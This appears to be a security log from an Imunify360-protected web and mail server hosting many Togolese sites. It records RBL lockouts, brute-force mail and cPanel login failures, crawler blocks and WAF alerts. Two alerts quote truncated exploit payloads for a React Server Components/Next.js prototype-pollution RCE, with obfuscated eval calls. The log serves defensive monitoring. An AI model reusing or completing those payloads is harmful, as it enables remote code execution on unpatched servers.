country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:107.174.128.55||TA:107.174.128.55||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.249.194
country_id: 2395170
description:
Jun 13 14:11:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.249.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.87.70
country_id: 1814991
description:
Jun 13 14:12:23 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.87.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 14:12:43 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.246.68.220
country_id: 1835841
description:
Jun 13 14:13:13 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.246.68.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: autodiscover.marketplace.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_6156d802\":\"loading\",\"_response\":{\"_prefix\":\"var bgch=[].slice.call(arguments,1)[0];var dw=bgch;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.107.42
country_id: 3469034
description:
Jun 13 14:13:51 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.107.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 14:13:36 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:14:12 dovecot_login authenticator failed for H=(CWoy39CZj) [143.105.209.181]:6431: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:14:34 dovecot_login authenticator failed for H=(9ArYXtQY3) [143.105.209.181]:26491: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: myworkafrica.com.lct-togo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"reason\":-1,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var fpo=arguments[0x1];var dhpv=fpo;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 35.254.244.123
country_id: 6252001
domain: myworkafrica.com.lct-togo.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:15:19 dovecot_login authenticator failed for H=(EUkzx9) [143.105.209.181]:9112: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:16:38 dovecot_login authenticator failed for H=(YLtIQBe) [143.105.209.181]:19157: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:17:25 dovecot_login authenticator failed for H=(7uG5UxjKx) [143.105.209.181]:8248: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.151.162
country_id: 2363686
description:
2026-06-13 14:17:47 dovecot_login authenticator failed for H=(Yoga) [102.64.151.162]:51075: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:18:32 dovecot_login authenticator failed for H=(Hzb1aU4) [143.105.209.181]:30225: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 143.105.209.181
country_id: 2300660
description:
Jun 13 14:18:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account itra@cafe.tg has been locked for the attacker IP 143.105.209.181


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.140.140
country_id: 1835841
description:
Jun 13 14:19:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.140.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 143.105.209.181
country_id: 2300660
description:
Jun 13 14:19:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account itra@cafe.tg has been locked for the attacker IP 143.105.209.181


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:19:47 dovecot_login authenticator failed for H=(G18eNJ) [143.105.209.181]:34001: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.18.189
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2014/09/Rapport_annuel_2005.pdf HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:20:36 dovecot_login authenticator failed for H=(lk03rVKBu) [143.105.209.181]:15575: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 143.105.209.181
country_id: 2300660
description:
Jun 13 14:20:34 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account itra@cafe.tg has been locked for the attacker IP 143.105.209.181


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:21:52 dovecot_login authenticator failed for H=(lRSqurKhV) [143.105.209.181]:65423: 535 Incorrect authentication data


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.102.222.222
country_id: 660013
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:172.102.222.222||TA:172.102.222.222||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 14:23:00 +0000] info [cpaneld] 45.61.130.187 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 14:23:24 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.113.171.137
country_id: 1814991
description:
2026-06-13 14:23:43 dovecot_plain authenticator failed for H=(bru03l8o4gb2worb0) [123.113.171.137]:46940: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:23:29 dovecot_login authenticator failed for H=(iPfuNAWz) [143.105.209.181]:53299: 535 Incorrect authentication data


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-24.213.32.21.59||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.82.135.27
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/240977085 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 14:27:49 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 14:27:46 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.103.118.38
country_id: 2750405
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-28.146.103.118.38||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.6.74.109
country_id: 6254930
description:
[2026-06-13 14:30:12 +0000] info [cpaneld] 213.6.74.109 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.204.121
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26-1024x768.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26-1536x1152.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26.webp 1600w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.114.236.4
country_id: 3686110
description:
[2026-06-13 14:30:07 +0000] info [cpaneld] 186.114.236.4 - brmntg "GET /login/?login_only=1&user=brmntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.186.184
country_id: 2635167
description:
[2026-06-13 14:30:09 +0000] info [cpaneld] 95.214.186.184 - brm "GET /login/?login_only=1&user=brm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.127.129.144
country_id: 1210997
description:
[2026-06-13 14:29:56 +0000] info [cpaneld] 115.127.129.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-33.213.32.21.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-06-13 14:33:48 dovecot_login authenticator failed for H=(wsip-184-178-172-20.rn.hr.cox.net) [128.185.235.110]:44632: 535 Incorrect authentication data (set_id=support@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.235.110
country_id: 1269750
description:
Jun 13 14:33:46 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.235.110 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-13 14:36:02 +0000] info [cpaneld] 103.253.27.219 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: biom.tg.tensai.tg
description:


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: biom.tg
description:


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.196.15
country_id: 3017382
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.252.196.15||TA:104.252.196.15||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.154.94
country_id: 2635167
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:107.181.154.94||TA:107.181.154.94||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 14:42:55 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.242.203.56
country_id: 3190538
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:209.242.203.56||TA:209.242.203.56||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.204
country_id: 1880251
description:
47.128.96.204 - - [13/Jun/2026:14:44:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235227&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsotral%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781361844 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/sotral/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.204


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.244.41.144
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:173.244.41.144||TA:173.244.41.144||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.143.245.209
country_id: 2510769
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.143.245.209||TA:104.143.245.209||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 14:44:28 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.237.123.83
country_id: 99237
description:
212.237.123.83 - - [13/Jun/2026:14:48:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857640&pdata=https%253A%252F%252Ftogodailynews.tg%252Fpidu-les-acteurs-en-conclave-pour-valider-le-mecanisme-de-gestion-des-plaintes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781362089 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/pidu-les-acteurs-en-conclave-pour-valider-le-mecanisme-de-gestion-des-plaintes/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2626.1201 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.237.123.83


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 14:50:42 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: cl_dos
name: DOS detection
abuser: 160.238.65.2
country_id: 1819730
description:
2026-06-13 14:51:43.692736037 +0000 GMT m=+62307.371565910 Denial of Service attack was discovered from 160.238.65.2, on port 52223. Open connections: 252


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.49.133.253
country_id: 3865483
description:
[2026-06-13 14:56:40 +0000] info [cpaneld] 201.49.133.253 - ban "GET /login/?login_only=1&user=ban&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ban (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.68.250.120
country_id: 2017370
description:
[2026-06-13 14:56:30 +0000] info [cpaneld] 178.68.250.120 - banmla "GET /login/?login_only=1&user=banmla&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banmla (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.79.183.233
country_id: 1210997
description:
[2026-06-13 14:56:34 +0000] info [cpaneld] 103.79.183.233 - banml "GET /login/?login_only=1&user=banml&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banml (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.35.156.150
country_id: 1210997
description:
[2026-06-13 14:56:37 +0000] info [cpaneld] 103.35.156.150 - banm "GET /login/?login_only=1&user=banm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.233.27.2
country_id: 3932488
description:
[2026-06-13 14:56:45 +0000] info [cpaneld] 181.233.27.2 - ba "GET /login/?login_only=1&user=ba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ba (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 14:58:09 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 13 15:01:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 13 15:02:14 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 15:02:43 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.240
country_id: 1269750
description:
Jun 13 15:02:50 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.195.72
country_id: 3865483
description:
Jun 13 15:04:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.195.72 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.211.137
country_id: 1512440
description:
[2026-06-13 15:06:13 +0000] info [cpaneld] 95.214.211.137 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.45.238.11
country_id: 2017370
description:
[2026-06-13 15:06:25 +0000] info [cpaneld] 77.45.238.11 - nstreamp "GET /login/?login_only=1&user=nstreamp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreamp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.189.149.17
country_id: 3996063
description:
[2026-06-13 15:06:46 +0000] info [cpaneld] 45.189.149.17 - nst "GET /login/?login_only=1&user=nst&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nst (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.1.82.29
country_id: 2017370
description:
[2026-06-13 15:06:43 +0000] info [cpaneld] 37.1.82.29 - nstr "GET /login/?login_only=1&user=nstr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.74.172.66
country_id: 1733045
description:
[2026-06-13 15:06:49 +0000] info [cpaneld] 180.74.172.66 - ns "GET /login/?login_only=1&user=ns&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ns (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.121.37.80
country_id: 1210997
description:
103.121.37.80 - - [13/Jun/2026:15:07:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777030&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-un-nouvel-elan-pour-les-infrastructures-scolaires-et-universitaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781363252 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-un-nouvel-elan-pour-les-infrastructures-scolaires-et-universitaires/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.6645.1605 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.121.37.80


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.71.108.35
country_id: 3469034
description:
45.71.108.35 - - [13/Jun/2026:15:09:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727121&pdata=https%253A%252F%252Ftogodailynews.tg%252Fstimuler-le-commerce-en-afrique-de-louest-la-sifc-et-la-bidc-sassocient-pour-octroyer-100-millions-usd%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781363357 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/stimuler-le-commerce-en-afrique-de-louest-la-sifc-et-la-bidc-sassocient-pour-octroyer-100-millions-usd/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.5510.1226 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.71.108.35


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.211.16
country_id: 6252001
description:
Jun 13 15:10:51 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.211.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.211.16
country_id: 6252001
description:
2026-06-13 15:10:53 dovecot_login authenticator failed for H=(2d8p6azDxh) [158.94.211.16]:65143: 535 Incorrect authentication data (set_id=cmississo@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.211.16
country_id: 6252001
description:
Jun 13 15:11:28 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.211.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.211.16
country_id: 6252001
description:
2026-06-13 15:11:30 dovecot_login authenticator failed for H=(3l3y0g4GA) [158.94.211.16]:53675: 535 Incorrect authentication data (set_id=cmississo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 15:11:30 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 15:13:17 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.207.83.42
country_id: 3686110
description:
181.207.83.42 - - [13/Jun/2026:15:14:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711699&pdata=https%253A%252F%252Ftogodailynews.tg%252Fclimat-des-affaires-7-964-entreprises-creees-au-premier-semestre-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781363680 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/climat-des-affaires-7-964-entreprises-creees-au-premier-semestre-2024/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.6129.1861 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.207.83.42


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.213.7
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Le Togo est un acteur pivot de la s\xc3\xa9curit\xc3\xa9 collective | TOGODAILYNEWS&siteId=1&rec=1&rand=712448&h=23&m=14&s=52&url=http:/togodailynews.tg/le-togo-est-un-acteur-pivot-de-la-securite-collective/&uid=0&pid=14654&visitorId=d204a1f5ba739109&fvts=1781363693&vc=1&idn=0&refts=0&lvts=1781363693&fullRef=togodailynews.tg/american-express-et-le-groupe-ecobank-signent-un-accord-pour-etendre-lacceptation-damerican-express-dans-21-pays-dafrique-subsaharienne/&send_image=1&cookie=1&res=375x812&gtms=3036&pvId=VSXisd&browser=Chrome_44&os=Android_8.0&device=Mobile HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.88.102
country_id: 1668284
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/css/admin-bar.min.css?ver=6.9.4 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 15:22:46 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.39.13.60
country_id: 1168579
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/journee-internationale-des-travailleurs HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.134.219.127
country_id: 1282988
description:
